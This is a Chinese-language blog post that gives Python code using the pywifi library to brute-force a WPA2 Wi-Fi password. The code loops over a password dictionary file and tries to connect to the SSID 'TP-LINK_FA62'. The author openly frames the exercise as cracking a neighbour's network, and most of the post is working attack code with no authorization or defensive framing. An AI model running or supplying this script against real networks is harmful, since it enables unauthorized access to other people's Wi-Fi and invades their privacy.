参考文章https://blog.csdn.net/qq_28840013/article/details/85141156
首先使用一个错误密码和一个正确密码来验证代码的正确性
import pywifi
import time
from pywifi import const
# 创建一个PyWiFi对象
wifi = pywifi.PyWiFi()
# 读取第一块网卡
iface = wifi.interfaces()[0]
print('网卡名称', iface.name())
# 因为我的无线网卡正确链接过wifi,所以移除所有配置文件
iface.remove_all_network_profiles()
# 创建配置文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = 'TP-LINK_FA62'
# 加密方式
profile.akm = [const.AKM_TYPE_WPA2PSK]
# 密码类型,通常情况下设置为这个,我试过了,不设置不行,虽然不知道是什么
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = '123456789'
# 为网卡增加配置文件
iface.add_network_profile(profile)
# 以哪个配置文件进行链接
iface.connect(profile)
print('链接状态', iface.status())
# 链接wifi需要过程,这里我们休息1秒
time.sleep(1)
print('链接状态', iface.status())
打印的log日志,状态4表示链接成功
image.png
下面我们使用密码字典尝试破解邻家小妹的wifi
这是密码字典,我这里为了测试,就使用了简单的几十个,其中包括我特意写入的正确的密码
这是代码
import pywifi
import time
from pywifi import const
def connect_wifi(pwd):
# 因为我的无线网卡正确链接过wifi,所以移除所有配置文件
iface.remove_all_network_profiles()
# 创建配置文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = 'TP-LINK_FA62'
# 加密方式
profile.akm = [const.AKM_TYPE_WPA2PSK]
# 密码类型,通常情况下设置为这个,我试过了,不设置不行,虽然不知道是什么
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = pwd
# 为网卡增加配置文件
iface.add_network_profile(profile)
# 以哪个配置文件进行链接
iface.connect(profile)
# 链接wifi需要过程,这里我们休息1秒
time.sleep(1)
if iface.status() == const.IFACE_CONNECTED:
print('连接成功,密码为', pwd)
return True
else:
print('连接失败,密码为', pwd)
return False
# 创建一个PyWiFi对象
wifi = pywifi.PyWiFi()
# 读取第一块网卡
iface = wifi.interfaces()[0]
print('网卡名称', iface.name())
# 打开密码字典
with open('password.txt') as file:
for line in file:
# 读取每一行密码,然后尝试连接wifi
if connect_wifi(line):
break
else:
continue
这是Log日志
image.png
网友评论